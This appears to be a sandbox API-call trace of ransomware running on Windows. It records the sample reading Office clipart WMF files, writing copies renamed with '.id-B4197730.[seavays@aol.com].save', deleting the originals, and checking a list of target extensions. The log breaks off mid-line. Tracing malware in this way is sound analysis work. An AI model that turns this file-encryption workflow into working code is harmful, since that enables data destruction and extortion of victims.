SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0169.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.888] lstrlenW (lpString=".doc") returned 4 [0169.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.888] lstrlenW (lpString=".docx") returned 5 [0169.888] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.888] lstrlenW (lpString=".pdf") returned 4 [0169.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.888] lstrlenW (lpString=".xls") returned 4 [0169.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.888] lstrlenW (lpString=".xlsx") returned 5 [0169.888] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.888] lstrlenW (lpString=".ppt") returned 4 [0169.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.888] lstrlenW (lpString=".zip") returned 4 [0169.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.888] lstrlenW (lpString=".rar") returned 4 [0169.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.888] lstrlenW (lpString=".bz2") returned 4 [0169.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.888] lstrlenW (lpString=".7z") returned 3 [0169.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.888] lstrlenW (lpString=".dbf") returned 4 [0169.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.889] lstrlenW (lpString=".1cd") returned 4 [0169.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.889] lstrlenW (lpString=".jpg") returned 4 [0169.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.889] lstrlenW (lpString=".doc") returned 4 [0169.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString=".docx") returned 5 [0169.889] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.889] lstrlenW (lpString=".pdf") returned 4 [0169.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString=".xls") returned 4 [0169.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.889] lstrlenW (lpString=".xlsx") returned 5 [0169.889] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.889] lstrlenW (lpString=".ppt") returned 4 [0169.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.889] lstrlenW (lpString=".zip") returned 4 [0169.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.889] lstrlenW (lpString=".rar") returned 4 [0169.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.889] lstrlenW (lpString=".bz2") returned 4 [0169.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".7z") returned 3 [0169.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.890] lstrlenW (lpString=".dbf") returned 4 [0169.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.890] lstrlenW (lpString=".1cd") returned 4 [0169.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0169.890] lstrlenW (lpString=".jpg") returned 4 [0169.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.890] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.890] lstrlenW (lpString="J0105396.WMF") returned 12 [0169.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.891] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=11012) returned 1 [0169.891] CloseHandle (hObject=0x540) returned 1 [0169.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0169.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.892] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.892] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0169.893] GetLastError () returned 0x0 [0169.893] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2b04, lpOverlapped=0x0) returned 1 [0169.895] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2b10, lpOverlapped=0x0) returned 1 [0169.897] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0169.897] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0169.897] SetEndOfFile (hFile=0x51c) returned 1 [0169.897] CloseHandle (hObject=0x51c) returned 1 [0169.897] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.897] SetEndOfFile (hFile=0x540) returned 1 [0169.901] CloseHandle (hObject=0x540) returned 1 [0169.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0169.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.902] lstrlenW (lpString=".doc") returned 4 [0169.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.903] lstrlenW (lpString=".docx") returned 5 [0169.903] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.903] lstrlenW (lpString=".pdf") returned 4 [0169.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.903] lstrlenW (lpString=".xls") returned 4 [0169.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.903] lstrlenW (lpString=".xlsx") returned 5 [0169.903] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.903] lstrlenW (lpString=".ppt") returned 4 [0169.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.903] lstrlenW (lpString=".zip") returned 4 [0169.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.904] lstrlenW (lpString=".rar") returned 4 [0169.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString=".bz2") returned 4 [0169.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString=".7z") returned 3 [0169.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.904] lstrlenW (lpString=".dbf") returned 4 [0169.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.904] lstrlenW (lpString=".1cd") returned 4 [0169.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.904] lstrlenW (lpString=".jpg") returned 4 [0169.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.904] lstrlenW (lpString=".doc") returned 4 [0169.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString=".docx") returned 5 [0169.904] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.904] lstrlenW (lpString=".pdf") returned 4 [0169.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.904] lstrlenW (lpString=".xls") returned 4 [0169.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.905] lstrlenW (lpString=".xlsx") returned 5 [0169.905] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.905] lstrlenW (lpString=".ppt") returned 4 [0169.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.905] lstrlenW (lpString=".zip") returned 4 [0169.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.905] lstrlenW (lpString=".rar") returned 4 [0169.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.905] lstrlenW (lpString=".bz2") returned 4 [0169.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.905] lstrlenW (lpString=".7z") returned 3 [0169.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.905] lstrlenW (lpString=".dbf") returned 4 [0169.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.905] lstrlenW (lpString=".1cd") returned 4 [0169.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0169.905] lstrlenW (lpString=".jpg") returned 4 [0169.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.905] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.906] lstrlenW (lpString="J0105398.WMF") returned 12 [0169.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.907] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3328) returned 1 [0169.907] CloseHandle (hObject=0x540) returned 1 [0169.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0169.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.907] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.908] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0169.908] GetLastError () returned 0x0 [0169.908] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xd00, lpOverlapped=0x0) returned 1 [0170.157] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xd10, lpOverlapped=0x0) returned 1 [0170.158] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.158] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.158] SetEndOfFile (hFile=0x51c) returned 1 [0170.158] CloseHandle (hObject=0x51c) returned 1 [0170.159] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.159] SetEndOfFile (hFile=0x540) returned 1 [0170.161] CloseHandle (hObject=0x540) returned 1 [0170.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0170.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.162] lstrlenW (lpString=".doc") returned 4 [0170.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.162] lstrlenW (lpString=".docx") returned 5 [0170.162] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.163] lstrlenW (lpString=".pdf") returned 4 [0170.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString=".xls") returned 4 [0170.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.163] lstrlenW (lpString=".xlsx") returned 5 [0170.163] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.163] lstrlenW (lpString=".ppt") returned 4 [0170.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString=".zip") returned 4 [0170.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.163] lstrlenW (lpString=".rar") returned 4 [0170.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString=".bz2") returned 4 [0170.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString=".7z") returned 3 [0170.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString=".dbf") returned 4 [0170.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString=".1cd") returned 4 [0170.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString=".jpg") returned 4 [0170.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.163] lstrlenW (lpString=".doc") returned 4 [0170.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.163] lstrlenW (lpString=".docx") returned 5 [0170.164] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.164] lstrlenW (lpString=".pdf") returned 4 [0170.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString=".xls") returned 4 [0170.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.164] lstrlenW (lpString=".xlsx") returned 5 [0170.164] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.164] lstrlenW (lpString=".ppt") returned 4 [0170.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.164] lstrlenW (lpString=".zip") returned 4 [0170.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.164] lstrlenW (lpString=".rar") returned 4 [0170.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString=".bz2") returned 4 [0170.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString=".7z") returned 3 [0170.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.164] lstrlenW (lpString=".dbf") returned 4 [0170.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.164] lstrlenW (lpString=".1cd") returned 4 [0170.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0170.164] lstrlenW (lpString=".jpg") returned 4 [0170.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.164] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.164] lstrlenW (lpString="J0105506.WMF") returned 12 [0170.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.165] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=2912) returned 1 [0170.165] CloseHandle (hObject=0x540) returned 1 [0170.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0170.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.166] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.166] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.167] GetLastError () returned 0x0 [0170.167] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xb60, lpOverlapped=0x0) returned 1 [0170.168] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xb70, lpOverlapped=0x0) returned 1 [0170.169] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.170] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.170] SetEndOfFile (hFile=0x51c) returned 1 [0170.170] CloseHandle (hObject=0x51c) returned 1 [0170.170] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.170] SetEndOfFile (hFile=0x540) returned 1 [0170.173] CloseHandle (hObject=0x540) returned 1 [0170.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0170.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.174] lstrlenW (lpString=".doc") returned 4 [0170.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.174] 